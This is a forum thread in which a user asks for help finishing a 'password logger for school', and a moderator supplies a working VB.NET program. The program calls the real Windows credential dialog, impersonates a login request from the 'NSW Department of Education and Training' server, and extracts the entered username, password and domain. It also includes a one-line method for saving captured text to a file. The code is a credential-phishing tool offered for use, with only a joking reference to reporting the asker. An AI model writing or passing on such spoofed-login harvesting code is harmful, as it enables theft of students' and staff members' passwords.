Results 1 to 3 of 3
  1. #1
    Velocity's Avatar
    Join Date
    Jan 2010
    Gender
    male
    Location
    Usa
    Posts
    4,375
    Reputation
    106
    Thanks
    773

    Add a function to the OK button

    Hi guys,

    Im making a password logger for school and need help with one thing:

    Making the OK button save the text from textbox2 into a text document on the desktop.

    I would greatly appreciate a code snippet

    Here is a screenshot of the program:

    Last edited by Velocity; 10-30-2011 at 11:40 PM.

  2. #2
    master131's Avatar
    Join Date
    Apr 2010
    Gender
    male
    Location
    Melbourne, Australia
    Posts
    8,858
    Reputation
    3438
    Thanks
    101,668
    My Mood
    Breezy
    Why don't I give a call to your IT Administrator or the DET to let them see what you're trying to do here.

    IO.File.WriteAllText("C:\somefolder\file.txt", TextBox2.Text)

    If you want to use the REAL API instead of just simulating that window, use this example I made:
    Code:
    Imports System.Runtime.InteropServices
    Imports System.Text
    Imports System.Net
    
    Public Class Form1
        <DllImport("ole32.dll")> _
        Public Shared Sub CoTaskMemFree(ByVal ptr As IntPtr)
        End Sub
    
        <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Auto)> _
        Private Structure CREDUI_INFO
            Public cbSize As Integer
            Public hwndParent As IntPtr
            Public pszMessageText As String
            Public pszCaptionText As String
            Public hbmBanner As IntPtr
        End Structure
    
        <DllImport("credui.dll", CharSet:=CharSet.Auto)> _
        Private Shared Function CredUnPackAuthenticationBuffer(ByVal dwFlags As Integer, ByVal pAuthBuffer As IntPtr, ByVal cbAuthBuffer As UInteger, ByVal pszUserName As StringBuilder, ByRef pcchMaxUserName As Integer, ByVal pszDomainName As StringBuilder, _
     ByRef pcchMaxDomainame As Integer, ByVal pszPassword As StringBuilder, ByRef pcchMaxPassword As Integer) As Boolean
        End Function
    
        <DllImport("credui.dll", CharSet:=CharSet.Auto)> _
        Private Shared Function CredUIPromptForWindowsCredentials(ByRef notUsedHere As CREDUI_INFO, ByVal authError As Integer, ByRef authPackage As UInteger, ByVal InAuthBuffer As IntPtr, ByVal InAuthBufferSize As UInteger, ByRef refOutAuthBuffer As IntPtr, _
     ByRef refOutAuthBufferSize As UInteger, ByRef fSave As Boolean, ByVal flags As Integer) As Integer
        End Function
    
        Public Shared Sub GetCredentials(ByRef networkCredential As NetworkCredential)
            Dim credui As New CREDUI_INFO()
            credui.pszCaptionText = String.Empty
            credui.pszMessageText = "The server 10.28.160.20 at NSW Department of Education and Training requires a username and password" + Environment.NewLine + Environment.NewLine +
                "Warning: This server is requesting that your username and password be sent in an insecure manner (basic authentication without a secure connection)."
            credui.cbSize = Marshal.SizeOf(credui)
            Dim authPackage As UInteger = 0
            Dim outCredBuffer As New IntPtr()
            Dim outCredSize As UInteger
            Dim save As Boolean = False
            ' Generic 
            Dim result As Integer = CredUIPromptForWindowsCredentials(credui, 0, authPackage, IntPtr.Zero, 0, outCredBuffer, _
             outCredSize, save, 1)
    
            Dim usernameBuf = New StringBuilder(100)
            Dim passwordBuf = New StringBuilder(100)
            Dim domainBuf = New StringBuilder(100)
    
            Dim maxUserName As Integer = 100
            Dim maxDomain As Integer = 100
            Dim maxPassword As Integer = 100
            If result = 0 Then
                If CredUnPackAuthenticationBuffer(0, outCredBuffer, outCredSize, usernameBuf, maxUserName, domainBuf, _
                 maxDomain, passwordBuf, maxPassword) Then
                    CoTaskMemFree(outCredBuffer)
                    networkCredential = New NetworkCredential() With { _
                     .UserName = usernameBuf.ToString(), _
                     .Password = passwordBuf.ToString(), _
                     .Domain = domainBuf.ToString() _
                    }
                    Return
                End If
            End If
    
            networkCredential = Nothing
        End Sub
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Dim nc As New NetworkCredential()
            GetCredentials(nc)
            If nc IsNot Nothing Then 'We need to check if the credentials are there or not
                Dim username As String = nc.UserName 'This is the username
                Dim password As String = nc.Password 'This is the password
            End If
        End Sub
    End Class
    Credits to Rubinsh.

    Last edited by master131; 10-31-2011 at 01:44 AM.
    Donate:
    BTC: 1GEny3y5tsYfw8E8A45upK6PKVAEcUDNv9


    Handy Tools/Hacks:
    Extreme Injector v3.7.3
    A powerful and advanced injector in a simple GUI.
    Can scramble DLLs on injection making them harder to detect and even make detected hacks work again!

    Minion Since: 13th January 2011
    Moderator Since: 6th May 2011
    Global Moderator Since: 29th April 2012
    Super User/Unknown Since: 23rd July 2013
    'Game Hacking' Team Since: 30th July 2013

    --My Art--
    [Roxas - Pixel Art, WIP]
    [Natsu - Drawn]
    [Natsu - Coloured]


    All drawings are coloured using Photoshop.

    --Gifts--
    [Kyle]

  3. #3
    Velocity's Avatar
    Join Date
    Jan 2010
    Gender
    male
    Location
    Usa
    Posts
    4,375
    Reputation
    106
    Thanks
    773
    thanks, i already did it. btw, that gui looks good but in safe mode (only way i can run .exes) it looks different

Similar Threads

  1. should we REMOVE THE EDIT BUTTON?
    By ace76543 in forum Spammers Corner
    Replies: 12
    Last Post: 02-04-2021, 02:01 PM
  2. i pressed the back button sorry
    By brownsfan91 in forum WarRock Korea Hacks
    Replies: 7
    Last Post: 12-03-2007, 09:20 PM
  3. i pressed the back button sorry
    By brownsfan91 in forum WarRock Korea Hacks
    Replies: 0
    Last Post: 11-30-2007, 06:13 PM
  4. Where are the forum buttons 0.0
    By SATANICAT in forum General
    Replies: 4
    Last Post: 06-22-2007, 11:39 PM
  5. removing the edit button, attempt 2
    By ace76543 in forum Spammers Corner
    Replies: 19
    Last Post: 12-11-2006, 04:49 PM